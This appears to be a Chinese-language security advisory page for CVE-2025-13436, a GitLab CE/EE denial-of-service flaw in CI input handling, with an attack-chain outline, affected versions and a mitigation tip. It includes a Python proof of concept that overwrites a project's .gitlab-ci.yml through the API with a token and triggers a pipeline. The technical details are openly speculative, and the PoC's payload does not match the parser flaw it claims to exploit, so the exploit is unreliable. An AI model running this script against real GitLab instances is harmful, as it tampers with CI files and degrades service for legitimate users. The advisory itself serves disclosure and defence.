IPBUF安全漏洞报告
English
CVE-2025-13436 CVSS 6.5 中危

CVE-2025-13436 GitLab 拒绝服务漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2025-13436
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

GitLabCVE-2025-13436拒绝服务DoS资源耗尽CI/CD

漏洞概述

GitLab CE/EE 在处理特定持续集成(CI)相关输入时存在漏洞。该漏洞影响从 13.7 开始的多个版本。由于资源消耗控制不当,已认证的攻击者可通过发送特制的 CI 输入触发该漏洞,导致服务器资源耗尽,进而引发拒绝服务,严重影响系统可用性。

技术细节

该漏洞源于 GitLab 处理 CI 相关输入时的逻辑缺陷。攻击者首先需要拥有 GitLab 实例的低权限账户。通过构造恶意的 CI 配置文件或利用 API 提交特定的作业数据,攻击者可以触发解析器中的资源消耗异常。例如,可能通过提交包含极其复杂递归结构的 YAML 文件或超长字符串参数,导致后端服务在解析或预处理阶段陷入死循环或分配过量内存。由于漏洞无需用户交互即可通过网络触发,且攻击成本低(仅需低权限),攻击者可反复发送恶意请求,使 Web 服务或 CI Runner 的 CPU/内存资源迅速枯竭,最终导致合法用户无法访问服务或 CI 任务被挂起。

攻击链分析

STEP 1
1. 侦察
攻击者识别目标 GitLab 实例及其版本信息。
STEP 2
2. 获取凭证
攻击者注册账户或获取低权限账户凭据(PR:L)。
STEP 3
3. 构造载荷
攻击者构造能够导致资源消耗过度的恶意 CI 配置文件或输入数据。
STEP 4
4. 发起攻击
攻击者通过 API 或 Web 界面提交恶意载荷到目标项目。
STEP 5
5. 资源耗尽
GitLab 服务器处理恶意输入,CPU 或内存被耗尽,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # Configuration TARGET = "https://your-gitlab-instance.com" TOKEN = "your_access_token" PROJECT_ID = "1" # Malicious payload simulating excessive resource consumption # This typically involves complex nested structures in .gitlab-ci.yml malicious_yaml = """ test: script: - echo "Start DoS" - $(python3 -c 'print("A"*10000000)') """ headers = {"PRIVATE-TOKEN": TOKEN} def exploit(): url = f"{TARGET}/api/v4/projects/{PROJECT_ID}/repository/files/.gitlab-ci.yml" data = { "branch": "main", "content": malicious_yaml, "commit_message": "Trigger DoS" } try: response = requests.put(url, headers=headers, json=data) if response.status_code == 200: print("[+] Payload sent successfully. Server may become unresponsive.") print("[+] Triggering pipeline...") trigger_url = f"{TARGET}/api/v4/projects/{PROJECT_ID}/pipeline" trigger_resp = requests.post(trigger_url, headers=headers, json={"ref": "main"}) print(f"[+] Pipeline trigger status: {trigger_resp.status_code}") else: print(f"[-] Failed to send payload: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

影响范围

GitLab CE/EE >= 13.7, < 18.8.7
GitLab CE/EE >= 18.9, < 18.9.3
GitLab CE/EE >= 18.10, < 18.10.1

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用 CI 功能或严格限制非受信用户的 CI 提交权限,并密切监控系统资源负载,一旦发现异常高负载及时重启服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表